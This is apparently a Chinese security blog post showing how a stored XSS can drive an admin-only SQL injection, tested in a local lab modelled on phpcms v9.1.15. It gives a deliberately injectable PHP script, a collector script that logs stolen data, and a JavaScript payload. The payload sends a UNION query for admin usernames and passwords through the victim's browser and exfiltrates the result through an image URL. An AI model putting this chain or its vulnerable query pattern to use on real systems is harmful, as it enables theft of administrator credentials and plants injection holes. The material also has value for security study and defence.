看見phpcms v9.1.15爆的xss和無權限的sql注入,於是就想測試下利用xss執行sql注入,雖然爆的這個phpcms漏洞還有很多其他的用法!但是,這個注入我沒有找到phpcms v9.1.15測試,其他版本都沒有測試成功!
於是乎我只有假想下一個極端環境:
1.前臺有且只有一個xss漏洞(不能獲取管理員cookie)
2.後臺有且只有一個sql注入漏洞(注入漏洞文件只有管理員可以訪問)
3.注入獲得管理員密碼可解密
4.除以上無其他任何漏洞(包括後臺getwebshell)
其實我就是想說,我們只可以利用這個xss執行注入!
模擬注入漏洞代碼
sqli.php
Default
@error_reporting (E_ALL & ~E_NOTICE & ~E_WARNING);//錯誤忽略
$con = mysql_connect("localhost","root","");
if(!$con) {die('Could not connect: ' . mysql_error());}
mysql_select_db("test",$con);
$id = $_GET['xss'];
$sql = "select id,realname from test where id="."$id";
$view = mysql_query($sql);
$row = mysql_fetch_array($view);
echo $row[id]."
";
echo $row[realname]."
";
?>
mysql數據庫:
Default
database:test
table:test、admin
column:test.id、test.realname
admin.id、admin.username、admin.password
get.php(獲取的注入後數據截取)
Default
$file = fopen("data.txt","a");
fwrite($file,$_GET['get']);
fclose($file);
?>
xsssqli.js(payload)
Default
function addLoadEvent(func)//窗口打開加載多個函數
{
var oldfunc=window.onload; //頁面打開是加載方法
if(typeof(window.onload)!="function")
{
window.onload=func;
}
else
{
window.onload=function()
{
oldfunc();
func();
}
}
}
function get_xsssqli()
{
var url = "http://127.0.0.1/xss/sqli.php?xss=1%20and%201=2%20union%20select%20username,password%20from%20admin";
var ajax = null;
if(window.XMLHttpRequest)
{
ajax = new XMLHttpRequest();
}
else if(window.ActiveXObject)
{
ajax = new ActiveXObject("Microsoft.XMLHTTP");//ie6和一下老版本
}
else
{
return;
}
ajax.open("GET", url, true);
ajax.send(null);
ajax.onreadystatechange = function()
{
if(ajax.readyState == 4 && ajax.status == 200)
{
var img = document.createElement("img");
img.src = "http://127.0.0.1/xss/get.php?get="+ajax.responseText;
document.body.appendChild(img);
}
}
}
addLoadEvent(get_xsssqli);
模擬xss漏洞
Default
<title>use xss to sqli/<title>
最後成功得到數據:
當然你也可以寫個正則截獲指定數據!
閱讀更多 暗影實驗室 的文章